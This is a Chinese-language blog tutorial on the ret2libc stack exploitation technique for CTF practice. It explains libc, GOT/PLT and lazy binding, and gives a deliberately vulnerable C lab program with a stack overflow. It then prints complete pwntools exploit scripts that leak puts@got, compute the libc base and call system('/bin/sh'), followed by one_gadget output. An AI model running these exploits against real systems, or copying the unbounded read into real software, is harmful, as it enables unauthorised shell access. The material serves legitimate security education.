2534 字
13 分钟
Stack-2-2-4 BasicROP-ret2libc

%%本节前置:Stack-1, Stack-2-1, Stack-2-2-1%%

本节正式学习基础ROP的最后一种攻击手法ret2libc。在Stack-2-2-1的学习中,我们学习了第一种利用手法ret2text,本节所要介绍的攻击手法正是建立在ret2text的基础上。在ret2text的学习中,我们知道ret2text一般需要程序存在后门函数才能利用。那么,当我们的程序不存在后门函数,并且没有可供我们ret2shellcode的程序段,gadget的情况又不足以我们打ret2syscall的时候,又该怎么利用呢?答案是ret2libc,也就是本节所要介绍的内容。

技术梗概#

ret2libc,即return to libc,指控制程序执行流返回到C标准库中。

What is libc ?#

  1. libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一种函数库标准,每个操作系统都会按照该标准对标准库进行具体实现
  2. 通常我们所说的libc是特指某个操作系统的标准库,比如我们在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。类Unix操作系统通常将libc库作为操作系统的一部分 (被视为操作系统与用户程序之间的接口)

简单来说,我们在C语言程序中所调用的一些没有被自定义的外部函数,通通储存在libc中。在动态链接的程序中,在加载程序的时候,为了调用这些外部函数,系统会把libc库加载到内存中,从而给了我们利用的机会。

How to use ?#

在之前的学习中,我们三大攻击手法的首要目标都是Getshell。为了达成这一点,我们都调用了system("/bin/sh\x00")或是exec("/bin/sh\x00", NULL, NULL)。于是我们的目标就很明确了,我们Getshell所调用的system()显然是一个外部函数,那么理应当存储在libc中,我们只需要找到内存中储存libc的这个函数的地址就好了。

延迟绑定机制#

在具体介绍该项技术之前,我们要先了解Linux中调用外部函数的一个机制——延迟绑定

在计算机科学中,动态链接是一种在运行时将预编译的可执行代码(例如函数或模块)与主程序(调用代码)链接的过程。

在Linux系统中,动态链接主要依赖于两个重要的数据结构:全局偏移量表(GOT)和程序链接表(PLT)。这两个表在程序的运行时解析过程中起着至关重要的作用。

  • 全局偏移量表GOT: 全局偏移量表(GOT)是一个在程序的数据段中的表,它存储了程序中所有需要动态链接的函数和变量的地址。当程序第一次调用一个动态链接的函数时,动态链接器会查找该函数在动态链接库中的地址,然后将这个地址存储在GOT表中的相应条目中。这样,当程序再次调用这个函数时,它就可以直接从GOT表中获取这个函数的地址,而不需要再次进行查找。
  • 程序链接表PLT:程序链接表(PLT)是一个在程序的代码段中的表,它包含了一系列的跳转指令,这些指令用于跳转到GOT表中的相应条目。当程序需要调用一个动态链接的函数时,它会首先跳转到PLT表中的相应条目,然后通过这个条目跳转到GOT表中的相应条目,最后跳转到这个函数在动态链接库中的实际地址。

延迟绑定(也被称为惰性绑定)是一种优化技术,它可以延迟函数地址的解析过程,直到这个函数被实际调用为止。这种技术可以减少程序启动时的开销,并且可以使程序只解析那些实际需要的函数的地址。

在使用延迟绑定时,程序中的call指令会跳转到对应的PLT表项,然后PLT表项的第一条指令会跳转到GOT表中存放的地址。

也就是说,最终一个外部函数的真实地址就是GOT表中该函数的地址

技术详解#

想要成功执行ret2libc攻击,首先的第一要务:知道内存中Libc的存储地址,libc中的相关内容是通过偏移所寻找的,也就是说,程序通过基地址+函数对应的偏移量来定位一个外部函数。那么反过来,如果我们确定了libc的基地址,是不是就可以反过来确定所有libc函数的确切地址了? 如何确定?答案已经很明朗了。

泄露一个外部函数的got表地址!

譬如我们在Stack-2-1中演示的puts(puts@got)ROP,就泄露出了puts()这个外部函数的got表地址,从而我们通过公式

函数真实地址 = libc基地址 + 函数偏移量

反推出

libc基地址 = 函数真实地址 - 函数偏移量

从而,我们可以确定任意一个外部函数在程序中的真实地址。

所以,要泄露libc,要求

  • 具有能打印内容的函数
  • 程序是动态链接,并且存在外部函数
  • 传参所用的gadgets齐全

我们用一个实验来详细理解ret2libc的利用方式

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void gift()
{
	asm("pop %rdi;ret;");
}

void vuln()
{
	char buf[0x10];
	puts("Welcome to Binary Lab!");
	read(0, buf, 0x100);
}

int main()
{
	vuln();
	return 0;
}

用以下命令编译

gcc -fno-stack-protector -no-pie -z lazy -O0 Lab-s-2-4-1.c -o lab

程序依旧很简单,一个溢出点,但是没有任何后门,也没有供我们shellcode执行的权限,gadgets也不足以进行ret2syscall。但是存在输出函数,显然进行ret2libc

Step-1 Leak libcbase#

首先,我们要泄露libc基地址,在Stack-1-2中介绍过这种泄露手法,我们直接用plt表中的puts调用,去打印出puts@got,然后计算libcbase即可。当然,我们泄露之后还要进行下一步攻击,所以我们布置如下的栈结构。

  • pop rdi将栈上的puts@got弹向rdi,作为参数
  • ret弹出puts@plt调用puts(puts@got)
  • puts调用结束后返回地址弹出栈上的read_address继续返回到溢出点,进行第二次溢出

执行完后,利用泄露出的puts的真实地址计算出libcbase,进而计算出libc中的system函数地址和/bin/sh字符串所在的地址。

构造如下payload

payload = cyclic(padding) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)

注意接收时

libc_base = u64(io.recv(6).ljust(8, b'\x00'))

泄露的EXP

from pwn import *  
io = process("./lab")  
libc = ELF("./libc.so.6")  
elf = ELF("./lab")  
  
pop_rdi = 0x40113a  
puts_plt = elf.plt['puts']  
puts_got = elf.got['puts']  
read_addr = 0x401156  
padding = 0x18  
payleak = cyclic(padding) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)  
io.sendlineafter(b"Welcome to Binary Lab!\n", payleak)  
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))  
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc_base: " + hex(libc_base))

应有如下输出

[+] Starting local process './lab': pid 6351  
[*] '/home/K4per/CTF/PWN/LAB/Stack/Stack-2/ret2libc/libc.so.6'  
   Arch:       amd64-64-little  
   RELRO:      Partial RELRO  
   Stack:      Canary found  
   NX:         NX enabled  
   PIE:        PIE enabled  
   SHSTK:      Enabled  
   IBT:        Enabled  
[*] '/home/K4per/CTF/PWN/LAB/Stack/Stack-2/ret2libc/lab'  
   Arch:       amd64-64-little  
   RELRO:      Partial RELRO  
   Stack:      No canary found  
   NX:         NX enabled  
   PIE:        No PIE (0x3fe000)  
   Stripped:   No  
[+] puts_addr: 0x711fb7a80e50  
[+] libc_base: 0x711fb7a00000

Step-2 getshell#

泄露出libc后,计算出libc中system()/bin/sh\x00的位置

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()

⚠️此处的.__next__(),确保返回libc中第一个binsh的地址

直接打ROP即可,这里不再赘述,注意栈对齐

完整EXP如下

from pwn import *  
io = process("./lab")  
libc = ELF("./libc.so.6")  
elf = ELF("./lab")  
  
pop_rdi = 0x40113a  
puts_plt = elf.plt['puts']  
puts_got = elf.got['puts']  
read_addr = 0x40113F  
ret_addr = 0x40101a  
padding = 0x18  
payleak = cyclic(padding) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)  
io.sendlineafter(b"Welcome to Binary Lab!\n", payleak)  
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))  
log.success("puts_addr: " + hex(puts_addr))  
libc_base = puts_addr - libc.symbols['puts']  
log.success("libc_base: " + hex(libc_base))  
  
system_addr = libc_base + libc.symbols['system']  
bin_sh_addr = libc_base + libc.search(b"/bin/sh").__next__()  
payload = cyclic(padding) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)  
io.sendlineafter(b"Welcome to Binary Lab!\n", payload)  
io.interactive()

EZAttack —> one_gadgets#

在泄露了libc之后,还有一种简便的手法可以让我们getshell,那就是one_gadget(简称ogg)

one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。

相比于system("/bin/sh"),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。

具体安装方法读者自行查阅,这里仅仅演示使用方法。

 one_gadget libc.so.6  
0xebc81 execve("/bin/sh", r10, [rbp-0x70])  
constraints:  
 address rbp-0x78 is writable  
 [r10] == NULL || r10 == NULL || r10 is a valid argv  
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp  
  
0xebc85 execve("/bin/sh", r10, rdx)  
constraints:  
 address rbp-0x78 is writable  
 [r10] == NULL || r10 == NULL || r10 is a valid argv  
 [rdx] == NULL || rdx == NULL || rdx is a valid envp  
  
0xebc88 execve("/bin/sh", rsi, rdx)  
constraints:  
 address rbp-0x78 is writable  
 [rsi] == NULL || rsi == NULL || rsi is a valid argv  
 [rdx] == NULL || rdx == NULL || rdx is a valid envp  
  
0xebce2 execve("/bin/sh", rbp-0x50, r12)  
constraints:  
 address rbp-0x48 is writable  
 r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv  
 [r12] == NULL || r12 == NULL || r12 is a valid envp  
  
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])  
constraints:  
 address rbp-0x48 is writable  
 r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv  
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp  
  
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])  
constraints:  
 address rbp-0x48 is writable  
 rax == NULL || {rax, r12, NULL} is a valid argv  
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp  
  
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])  
constraints:  
 address rbp-0x50 is writable  
 rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv  
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

此处给出的都是libc中存在的one_gadget,在泄露出libc地址后,挨个枚举即可。

示例

one_gadget =  0xebd3f
payload = cyclic(padding) + p64(libc_base + one_gadget)

总结#

本节我们学习了最后一种ROPret2libc,至此我们四种基本ROP就已经学习完了,接下来就是练习,体会ROP的基本思想。

惯例,我们留下一道题作为作业。

极客大挑战2024-su~~~~

su

Stack-2-2-4 BasicROP-ret2libc
https://k4per-blog.xyz/posts/stack-2-2-4-basicrop-ret2libc/
作者
K4per
发布于
2025-04-02
许可协议
CC BY-NC-SA 4.0